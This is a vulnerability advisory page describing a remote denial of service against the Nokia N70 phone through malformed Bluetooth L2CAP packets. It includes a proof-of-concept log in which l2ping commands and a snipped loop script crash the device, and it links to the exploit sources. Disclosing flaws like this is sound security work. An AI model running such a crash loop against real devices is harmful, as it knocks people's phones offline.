exploits , vulnerabilities , articles , Nokia N70 L2CAP Packets Remote Denial of Service Vulnerability

Title	Nokia N70 L2CAP Packets Remote Denial of Service Vulnerability
Published	2006-02-15-12:00AM
Updated	2006-02-15-10:12PM
Class	Failure to Handle Exceptional Conditions
CVE
Remote	Yes
Local	No
Credit	Discovered by Pierre Betouin <pierre.betouin@infratech.fr> using Bluetooh Stack Smasher (BSS).
Vulnerable
Not Vulnerable
Code	The BSS - Bluetooth Stack Smasher is reported to be able to trigger this vulnerability. The following proof of concept is available: # l2ping -c 3 00:15:A0:XX:XX:XX Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 44) ... 0 bytes from 00:15:A0:XX:XX:XX id 0 time 64.18ms 0 bytes from 00:15:A0:XX:XX:XX id 1 time 43.94ms 0 bytes from 00:15:A0:XX:XX:XX id 2 time 37.25ms 3 sent, 3 received, 0% loss # ./loop.sh 00:15:A0:XX:XX:XX (.. snip ..) # l2ping -c 1 00:15:A0:XX:XX:XX Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 248) ... no response from 00:15:A0:XX:XX:XX id 0 1 sent, 0 received, 100% loss http://www.SecurityDot.net/data/vulnerabilities/exploits/loop.sh http://www.SecurityDot.net/data/vulnerabilities/exploits/replay_l2cap_packet_nokiaN70.c
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-01-09 MODx Prior to 0.9.6.3 Multiple Cross Site Scripting Vulnerabilities
• 2009-01-09 Check Point SecurePlatform Unspecified Remote Security Vulnerability
• 2009-01-09 Sun Java Web Start and Java Plug-in JAR File Privilege Escalation Vulnerability
• 2009-01-09 NetGear WG102 SNMP Write Community String Information Disclosure Vulnerability
• 2009-01-09 Serv-U Remote Denial of Service Vulnerabilities
• 2009-01-09 QuoteBook Information Disclosure, SQL Injection and HTML Injection Vulnerabilities
• 2009-01-08 Oracle January 2009 Oracle Critical Patch Update Pre-Release Announcement Multiple Vulnerabilities
• 2009-01-08 Microsoft January 2009 Advance Notification Multiple Vulnerabilities
• 2009-01-08 IBM WebSphere DataPower XML Security Gateway XS40 Remote Denial Of Service Vulnerability
• 2009-01-08 Drupal Project Release Module Multiple Remote Vulnerabilities

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Sat, 10 Jan 2009 04:15:31 +0000